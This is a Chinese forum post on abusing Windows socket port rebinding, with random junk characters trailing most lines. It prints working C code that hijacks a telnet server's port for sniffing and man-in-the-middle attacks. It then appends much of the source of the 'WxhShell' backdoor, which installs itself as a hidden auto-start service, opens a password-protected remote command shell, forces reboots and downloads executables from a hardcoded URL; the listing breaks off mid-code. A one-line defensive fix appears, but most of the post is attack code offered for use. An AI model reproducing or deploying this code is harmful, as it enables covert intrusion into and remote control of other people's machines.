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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lu9Ir>c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MWp\D#H  
h1D~AgZOVj  
  saddr.sin_family = AF_INET; 8EVF<@{]  
(D +{0 /  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "m\UqQGX  
UC<[z#]\;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LU 5 `!0m  
8Y;zs7Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Iu)(Huv  
+A&IxsTq5=  
  这意味着什么?意味着可以进行如下的攻击: 71.:p,Z@z  
IU;pkgBj0Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _|Kv~\G!  
au9Wo<mR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4<K ,w{I  
J 6d n~nPK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5IB:4zx^h  
PY3Vu]zD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cB9KHqB  
]$`s}BN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N_WA4?rB  
OYRR'X.E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \t~u : D  
I! eSJTN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @8 yE(  
![MDmt5Ub^  
  #include 7>e~i,  
  #include ne%OTr 4dD  
  #include yK2*~T,6@  
  #include    K Lv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >p+gx,N  
  int main() 7=ga_2  
  { S:GUR6g8D  
  WORD wVersionRequested; MZ+IorZl  
  DWORD ret; cB"F1~z  
  WSADATA wsaData; 1V9X(uP  
  BOOL val; Q)|LiCR,  
  SOCKADDR_IN saddr; Zp(P)Obs#  
  SOCKADDR_IN scaddr; jKi*3-&  
  int err; So]FDd  
  SOCKET s; B7jlJqV  
  SOCKET sc; `"-!UkD+  
  int caddsize; aw@Aoq  
  HANDLE mt; o>,z %+  
  DWORD tid;   nQYS{`hk  
  wVersionRequested = MAKEWORD( 2, 2 ); U;A5-|C  
  err = WSAStartup( wVersionRequested, &wsaData ); #RIfR7`T  
  if ( err != 0 ) { _e@qv;*  
  printf("error!WSAStartup failed!\n"); E@}j}/%'O  
  return -1; %T*+t"\)  
  } Da[X HUk  
  saddr.sin_family = AF_INET; [/,6O  
   |JQP7z6j]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |+=:x]#vV  
w 4gZ:fR=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uV:uXQni``  
  saddr.sin_port = htons(23); 4J$f @6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *A9{H>Vq  
  { !?M_%fNE  
  printf("error!socket failed!\n"); [(UqPd$  
  return -1; F`}w0=-*(  
  } |g^W @.P  
  val = TRUE; >2{HH\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R;,HtN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `hf9rjy4  
  { |.8=gS5  
  printf("error!setsockopt failed!\n"); [hj'Yg8{  
  return -1; 5BO!K$6  
  } y#0Z[[I0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +VCo=oA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hLD;U J?S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "J:NW_U  
tf79Gb>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) utS M x(  
  { 0J-ux"kfI  
  ret=GetLastError(); )Bvu[r Uy  
  printf("error!bind failed!\n"); ur[bh  
  return -1; BD+~8v  
  } zO]dQ$r\Z  
  listen(s,2); IHmNi>E&/  
  while(1) SLB iQd.  
  { VQ 3&  
  caddsize = sizeof(scaddr); 8~+Msn:  
  //接受连接请求 ZKTBjOa]*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mpAh'f4$*  
  if(sc!=INVALID_SOCKET) LtIZgOd<  
  { e(5R8ud  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sgsMlZ3/  
  if(mt==NULL) bxHk0w  
  { yiA\$mtO  
  printf("Thread Creat Failed!\n"); 8rNxd=!  
  break; NVPYv#uK  
  } 7U0):11X#  
  } 4rdrl  
  CloseHandle(mt); (ajX ;/  
  } m_f^#:  
  closesocket(s); 1S#bV} !  
  WSACleanup(); Q :|E  
  return 0; I2Q?7p  
  }   4D$E  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ms3/P|{"p  
  { 7w({ GZ  
  SOCKET ss = (SOCKET)lpParam; <#` L&w.  
  SOCKET sc; 0CYI,V  
  unsigned char buf[4096]; `8Ix&d3F  
  SOCKADDR_IN saddr; }]@ "t)"  
  long num; uBJF}"4ej  
  DWORD val; A;PV,2|X  
  DWORD ret; AU2Nmf?]%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $]86w8?-N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =p:6u_@XWj  
  saddr.sin_family = AF_INET; T;7|d5][  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GM~jR-FZ  
  saddr.sin_port = htons(23); d4tVK0 ~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9m>_q Wa A  
  { c-{]H8$v  
  printf("error!socket failed!\n"); @wz7jzMi  
  return -1; y6\#{   
  } g}7%3D  
  val = 100; ~C3-E %h@Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +q!6zGs.  
  { )Q`<O  
  ret = GetLastError(); w}?\Q,  
  return -1; -#h \8Xl  
  } bcg)K`'N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :mL.Y em*'  
  { f.WtD`Oas  
  ret = GetLastError(); +`xp+Q  
  return -1; 8[ V!e[  
  } iZF{9@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A2 r RYzN;  
  { O4{&B@!  
  printf("error!socket connect failed!\n"); ?Eed#pb_  
  closesocket(sc); oz--gA:g  
  closesocket(ss); $U1'n@/J  
  return -1; Oi RqqD  
  } ?Z"}RMM)8  
  while(1) qW9|&GuZ$  
  { !G37K8 &&*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wP'`!O[W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #i? TCO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V=U%P[S  
  num = recv(ss,buf,4096,0); &yuerNK  
  if(num>0) -Q/Dbz#-  
  send(sc,buf,num,0); =KMck=#B  
  else if(num==0) d)@M MF  
  break; Nz8iU@!a  
  num = recv(sc,buf,4096,0); $%<gp@Gz  
  if(num>0) 8LOzL,Ah  
  send(ss,buf,num,0); *| 'k  
  else if(num==0) )+J?(&6  
  break; | e+m!G1G  
  } 15B$Sp!/`e  
  closesocket(ss); iV%% VR8b  
  closesocket(sc); G:UdU{  
  return 0 ; K% ;O$ >  
  } %(i(ZW "  
1FuChd  
8164SWB  
========================================================== m{X;|-DK[  
 W* YfyM  
下边附上一个代码,,WXhSHELL ,v/C-b)I  
DZvpt%q  
========================================================== ^T" A9uaG  
zx^)Qb/EL6  
#include "stdafx.h" IQ\`n|  
{Su]P {oJ  
#include <stdio.h> $iV3>>;eh  
#include <string.h> 8.@ yD^'  
#include <windows.h> yy9Bd>  
#include <winsock2.h> SL(Q;_  
#include <winsvc.h> |KA8qQI]%  
#include <urlmon.h> u931^~Ci  
i''dY!2  
#pragma comment (lib, "Ws2_32.lib") 0]T ;{  
#pragma comment (lib, "urlmon.lib") 8<P.>u  
1oC/W?l^  
#define MAX_USER   100 // 最大客户端连接数 0-QkRr_ I  
#define BUF_SOCK   200 // sock buffer uzsR*x%s-  
#define KEY_BUFF   255 // 输入 buffer s;A]GJ  
q.*qZ\;K  
#define REBOOT     0   // 重启 \]^|IViIQ  
#define SHUTDOWN   1   // 关机 nC z[#t  
]M_)f  
#define DEF_PORT   5000 // 监听端口 Vi]D](^!  
Q)v8hNyUmA  
#define REG_LEN     16   // 注册表键长度 sQR;!-j  
#define SVC_LEN     80   // NT服务名长度 ] O 2_&cs  
b{(:'.  
// 从dll定义API Q.nEY6B_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Hy++  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B]jh$@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r+>9O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1~j.jv$  
c$p1Sovw  
// wxhshell配置信息 thOCzGJ$  
struct WSCFG { p@P[pzxI  
  int ws_port;         // 监听端口 X,~8 ) W  
  char ws_passstr[REG_LEN]; // 口令 Drg'RR><  
  int ws_autoins;       // 安装标记, 1=yes 0=no W2REwUps  
  char ws_regname[REG_LEN]; // 注册表键名 p_qH7W  
  char ws_svcname[REG_LEN]; // 服务名 ]TGJ|X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :D&QGw(n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^  K/B[8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `W"-jz5#=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UF}fmDi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WS;3a}u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8z@A/$T  
,2u]rLxx;  
}; jJ9|  
ow+NT  
// default Wxhshell configuration Yd]f}5F  
struct WSCFG wscfg={DEF_PORT, 1W5YS +pf  
    "xuhuanlingzhe", cZ5[A  T  
    1, 2t_E\W7w+  
    "Wxhshell", h$lY,7  
    "Wxhshell", 9) wjVk  
            "WxhShell Service", kQ|}"Tw7  
    "Wrsky Windows CmdShell Service", |s|RJA1  
    "Please Input Your Password: ", ^c+6?  
  1, guBOR 0x`  
  "http://www.wrsky.com/wxhshell.exe", MTr _8tI  
  "Wxhshell.exe" b%AYYk)d?  
    }; X!r!lW  
zm"&8/l  
// 消息定义模块 ${`\In_?O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XxV]U{i!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0ro)e~_@*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >GqIpfn  
char *msg_ws_ext="\n\rExit."; GJ!usv u  
char *msg_ws_end="\n\rQuit."; x< imMJ  
char *msg_ws_boot="\n\rReboot...";  d+=;sJ  
char *msg_ws_poff="\n\rShutdown..."; i^j{l_-JE  
char *msg_ws_down="\n\rSave to "; W&G DE  
x'}{^'}/  
char *msg_ws_err="\n\rErr!"; \,~gA   
char *msg_ws_ok="\n\rOK!"; 0\u_ \%[  
WpRi+NC}ln  
char ExeFile[MAX_PATH]; |U12 fuQ  
int nUser = 0; A*W QdY  
HANDLE handles[MAX_USER]; 6? 2/b`k  
int OsIsNt; UGl}=hwKkG  
E|#'u^`yv  
SERVICE_STATUS       serviceStatus; wtMS<$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !! #\P7P  
8iq~ha$]|  
// 函数声明 cpf8f i  
int Install(void); 0M pX.0  
int Uninstall(void); 60-LpGhvy  
int DownloadFile(char *sURL, SOCKET wsh); * _U z**M  
int Boot(int flag); _)lK.5  
void HideProc(void); DAJh9I  
int GetOsVer(void); 'M YqCfIK  
int Wxhshell(SOCKET wsl); 2Ask]  
void TalkWithClient(void *cs); -0lpsF  
int CmdShell(SOCKET sock); O=ci"2!\-  
int StartFromService(void); g`\Vy4w  
int StartWxhshell(LPSTR lpCmdLine); NeUpl./b  
%$Mvq&ZZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L[<MBgF Kv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SrU,-mA W  
OpYq qBf_  
// 数据结构和表定义 @ -g^R4e<  
SERVICE_TABLE_ENTRY DispatchTable[] = *j8w" 4  
{ 3 nb3rHQ  
{wscfg.ws_svcname, NTServiceMain}, !i{@B  
{NULL, NULL} nbhx2@Teqe  
}; *F2obpU  
9v0f4Pbxm  
// 自我安装 #kk_iS>8  
int Install(void) Nqz-Mr`  
{ 3)I v8mA  
  char svExeFile[MAX_PATH]; 2L ~U^  
  HKEY key; -H{c@hl  
  strcpy(svExeFile,ExeFile); lAV6z%MmM  
dc"Vc 3)  
// 如果是win9x系统,修改注册表设为自启动 HA"LU;5>2J  
if(!OsIsNt) { vBq 2JJAl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L<J%IlcfO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .GLotc  
  RegCloseKey(key); {P(IA2J'S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v||8Q\d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (eG#JVsm9  
  RegCloseKey(key); [K%J t  
  return 0; [JsQ/|=z  
    } kVZ>Dc2M  
  } uflp4_D   
} N(/DC)DJg  
else { V<P@hAAr  
XA>@0E>1r  
// 如果是NT以上系统,安装为系统服务 t~gnai  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qky{]qNW  
if (schSCManager!=0) O3B\K <l  
{ 4LKOBiEM  
  SC_HANDLE schService = CreateService '^}l|(  
  ( Ch^Al 2)=  
  schSCManager, G,$RsP  
  wscfg.ws_svcname, N!^U{;X7/  
  wscfg.ws_svcdisp, TC" mP!1  
  SERVICE_ALL_ACCESS, ?5"~V^L3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bQEQHqY5  
  SERVICE_AUTO_START, 866n{lyL  
  SERVICE_ERROR_NORMAL, rn U2EL  
  svExeFile, <eb>/ D  
  NULL, yAXw?z!`O  
  NULL, e>y"V; Mj  
  NULL, 99H&#!~bSS  
  NULL, |Ax~zk;  
  NULL 5H`k$[3V  
  ); ?ZE1>L7e  
  if (schService!=0) 8x[q[  
  { (H0nO7Bk  
  CloseServiceHandle(schService); "P'W@  
  CloseServiceHandle(schSCManager); cqi: Rj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g@KS\.m]  
  strcat(svExeFile,wscfg.ws_svcname); VI[ikNpX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1/JgirVA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -.i1l/FzP  
  RegCloseKey(key); ^~8l|d_  
  return 0; _D[vMr[  
    } {BDp`uZ  
  } #2{ };)  
  CloseServiceHandle(schSCManager); T'0Ot3m`  
} "~N#Jqzr:  
} @va)j   
[gQ*y~N  
return 1; q/<.^X  
} hyVuZ\9B  
2y v'DS  
// 自我卸载 mf^(Tq[  
int Uninstall(void) 2Pasmh  
{ mvlK ~c8  
  HKEY key; n"-cX)  
gfFP-J3cN  
if(!OsIsNt) { x^;nQas;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \HV%579  
  RegDeleteValue(key,wscfg.ws_regname); _hM3p  
  RegCloseKey(key); N@)tU;U3O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &=xm>;`3  
  RegDeleteValue(key,wscfg.ws_regname); cdf8YN0!  
  RegCloseKey(key); =0MW+-  
  return 0; /0\m;&  
  } ] +LleS5  
} aB#qzrr['8  
} 8lT.2H  
else { b_z;^y~  
y`!3Z} 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f'TdYG  
if (schSCManager!=0) =uIu0_v  
{ 9^c\$"2B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4JT9EKo  
  if (schService!=0) t%/Y^N;  
  { G<Z|NT  
  if(DeleteService(schService)!=0) { GNT1FR  
  CloseServiceHandle(schService); hF.9\X]  
  CloseServiceHandle(schSCManager); Yhb=^)@))  
  return 0; tHJ#2X#Y.  
  } <._MNHC  
  CloseServiceHandle(schService); y8D'V)B  
  } + i!/J  
  CloseServiceHandle(schSCManager); d/j$_NQ&!  
} qR--lvO  
} 7fgA)dU:K  
wMT?p/9Blm  
return 1; OGzth$7A  
} uy9k^4Cqa  
Yvcd(2  
// 从指定url下载文件 ]o6Or,ml  
int DownloadFile(char *sURL, SOCKET wsh) rH8w||S2U  
{ hmHm;l  
  HRESULT hr; !dv  
char seps[]= "/"; CY <,p$  
char *token; o>';-} E  
char *file; 2$jTj<.K  
char myURL[MAX_PATH]; !gWV4vC  
char myFILE[MAX_PATH]; a#nVRPU8m  
A_muuOIcI  
strcpy(myURL,sURL); YJ'h=!p}G  
  token=strtok(myURL,seps); Sdy\s5  
  while(token!=NULL) /0uZ(F|>I  
  { #e((F,1z  
    file=token; Mp:tcy,*  
  token=strtok(NULL,seps); ^^qB=N[';  
  } 2a3h m8%U  
SYOND>E  
GetCurrentDirectory(MAX_PATH,myFILE); l23_K7  
strcat(myFILE, "\\"); |-bSoq7t  
strcat(myFILE, file); cP''  
  send(wsh,myFILE,strlen(myFILE),0); L6fc_Mo.EE  
send(wsh,"...",3,0); b?hdWQSW7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7q<I7Wt  
  if(hr==S_OK) QU2\gAM  
return 0; np}F [v  
else Rf+ogLa=  
return 1; %`t;5kmR  
}H&NR?Ax  
} Tar tV3;`  
(`>RwooE  
// 系统电源模块 hw:zak#j,  
int Boot(int flag) 559znM=  
{ -n?}L#4%8  
  HANDLE hToken; hu%UEB  
  TOKEN_PRIVILEGES tkp; n4h@{Xg  
}xJ9EE*G/  
  if(OsIsNt) { Uvgv<OR`_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5 P9hm[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c{Nk"gEfRA  
    tkp.PrivilegeCount = 1; O['gp~P"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .cdm@_Ls  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /%\E2+6  
if(flag==REBOOT) { X3NHQMI   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HeZ! "^w  
  return 0; 7hqa|  
} %3M(!X:[  
else { t,4q]Jt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Lv eZ_h5  
  return 0; lpQsmd#  
} _Pjo9z 9  
  } ( 1T2? mO  
  else { qba<$  
if(flag==REBOOT) { T]l_B2.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yd2v_  
  return 0; 3/RmJ `c{  
} h@7S hp  
else { wXIsc;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $`W .9  
  return 0; n8DWA`[ib  
} axW3#3#`  
} -yHVydu=  
RUC V!L  
return 1; 4# MvOjA5[  
} 2cY7sE068  
TK<~ (Dk  
// win9x进程隐藏模块 dPwe.:  
void HideProc(void) 3 [: x#r  
{ $=uyZTYF)}  
}A3(g$8KR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |FG t'  
  if ( hKernel != NULL ) b&f;p}C24  
  { `d2}>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )eop:!m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }\k"azQ`  
    FreeLibrary(hKernel); -Qgu 6Ty  
  } ]S<y,d-  
O?/\hZ"&c  
return; i% 19|an  
} n&Bolt(tO  
+h_'hz&HlS  
// 获取操作系统版本 Me;@/;c(   
int GetOsVer(void) tz \7,yGT  
{  m/gl7+  
  OSVERSIONINFO winfo; p8o ~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jU |0!]  
  GetVersionEx(&winfo); Y4e64`V)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gO_{(\w*  
  return 1; KoZ" yD  
  else h<U<K O  
  return 0; S'#KPzy.  
} ye=*m  
0 {#c  
// 客户端句柄模块 "vQ$RW -  
int Wxhshell(SOCKET wsl) OQ;'Xo  
{ Oaf!\ z}  
  SOCKET wsh; I9O!CQCTt  
  struct sockaddr_in client; +O>!x#)&"  
  DWORD myID; 0l#gS;  
kKFmTo   
  while(nUser<MAX_USER) 9AK<<Mge.  
{ iD+Q\l;%  
  int nSize=sizeof(client); b3N>RPsHS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =Bo(*%  
  if(wsh==INVALID_SOCKET) return 1; Cy-q9uTm  
v*`$is+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8gwJ%"-K  
if(handles[nUser]==0)  5 fY\0  
  closesocket(wsh); JYB"\VV  
else j3jf:7 /\  
  nUser++; 2V %si6  
  } ${Cb1|g>j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >Vz Gx(7q  
(~}IoQp>  
  return 0; %tEjf 3  
} [<`K%1GQ  
ieXhOA  
// 关闭 socket +U_> Bo  
void CloseIt(SOCKET wsh) 0PO'9#  
{ [u\E*8  
closesocket(wsh); rlTCVmE8[  
nUser--; LDqq'}qK6  
ExitThread(0); m|!R/,>S4  
} &m2FEQLj  
}mQ7N&cC  
// 客户端请求句柄 P6V_cw$  
void TalkWithClient(void *cs) 8wz%e(  
{ t:NTk(  
>ly`1t1  
  SOCKET wsh=(SOCKET)cs; }la\?I  
  char pwd[SVC_LEN]; m`C c U`s  
  char cmd[KEY_BUFF]; 4UD<g+|  
char chr[1]; :#W40rUb  
int i,j; }z:g}".4  
)\#w=P  
  while (nUser < MAX_USER) { 3`[f<XaL  
mpfc2>6Il.  
if(wscfg.ws_passstr) { '7AlE!7%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q-o}Xnj*!L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); spter35b[  
  //ZeroMemory(pwd,KEY_BUFF); QSPneYD  
      i=0; 9[K".VeT]  
  while(i<SVC_LEN) {  C[MZ9 r  
OCmF/B_  
  // 设置超时 6' }oo'#~  
  fd_set FdRead; .v;$sst5y  
  struct timeval TimeOut; 1H sfCky{  
  FD_ZERO(&FdRead); epM;u  
  FD_SET(wsh,&FdRead); oe,I vnt  
  TimeOut.tv_sec=8; nI4Kuz`dF  
  TimeOut.tv_usec=0; R!IODXP=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IGz92&y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "`]G>,r_  
) *Mr{`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |hms'n0  
  pwd=chr[0]; K s 8  
  if(chr[0]==0xd || chr[0]==0xa) { G?D7R/0)  
  pwd=0; l",JN.w  
  break; *6D0>F  
  } _aa3;kT_  
  i++; J60XUxf  
    } 5u +U^D  
'q%56WAJ  
  // 如果是非法用户,关闭 socket  pleLdGq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xL8r'gV@  
} 6UK{0\0  
mYLqT$t.+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `B6~KZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h8@8Q w  
2Zt :]be  
while(1) { e~]3/0  
Za68V/Vj  
  ZeroMemory(cmd,KEY_BUFF); y'\BpP  
wBz?OnD/D  
      // 自动支持客户端 telnet标准   +-tvNX%IJ  
  j=0; .^6;_s>FN  
  while(j<KEY_BUFF) { a+A^njk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +oa\'.~?  
  cmd[j]=chr[0]; ,#&\1Vxf  
  if(chr[0]==0xa || chr[0]==0xd) { KwGk8$ U  
  cmd[j]=0; VN!`@Ci/  
  break; S+(TRIjk  
  } #'5|$ug[  
  j++; ):"Z7~j=  
    } umPd+5i  
Q;r9>E!  
  // 下载文件 48;6C g  
  if(strstr(cmd,"http://")) { rg Gm[SL*<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m(MPVY<X  
  if(DownloadFile(cmd,wsh)) ?sfas57&y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `o~ dQb/k+  
  else iSD E6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |  RMIV  
  } Py2AnpYa  
  else { 7|4t;F!  
]7<}EG  
    switch(cmd[0]) { e8T#ZWr*  
  o!:V=F  
  // 帮助 >YP6/w,e  
  case '?': { I(LBc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h| q!Qsnj'  
    break; G.v zz-yG  
  } K_/-mwA v  
  // 安装 P$LHsg]  
  case 'i': { o,o,(sII  
    if(Install()) 9G njJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hP1}Do  
    else 1aEM&=h_W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *sNZ.Y:.  
    break; yB][ 3?lv  
    } [:M:6JJ  
  // 卸载 U caLi&  
  case 'r': { M"QT(u+  
    if(Uninstall()) &!/E&e$_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "rhU2jT=c  
    else A4 ;EtW+F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Axb,{X[6g  
    break; R9=K/  
    } 0\fV'JDOR  
  // 显示 wxhshell 所在路径 :[icd2JCw]  
  case 'p': { ,w>WuRN"  
    char svExeFile[MAX_PATH]; 5=< y%VF  
    strcpy(svExeFile,"\n\r"); @9-/p^n1  
      strcat(svExeFile,ExeFile); 2.''Nt6|  
        send(wsh,svExeFile,strlen(svExeFile),0); fL^+Qb}  
    break; >q W_%  
    } c6 O1Z\M@\  
  // 重启 dnRS$$9#  
  case 'b': { z1wJ-l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QuG=am?l`  
    if(Boot(REBOOT)) 5/U|oZM"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M#<U=Ha  
    else { <'s_3AC  
    closesocket(wsh); 8?p40x$m%  
    ExitThread(0); " S8JHHx  
    } 21(8/F ~{  
    break; O>8|Lc  
    } ly,3,ok  
  // 关机 bbGSh|u+P  
  case 'd': { luA k$Es  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TVaD',5_V%  
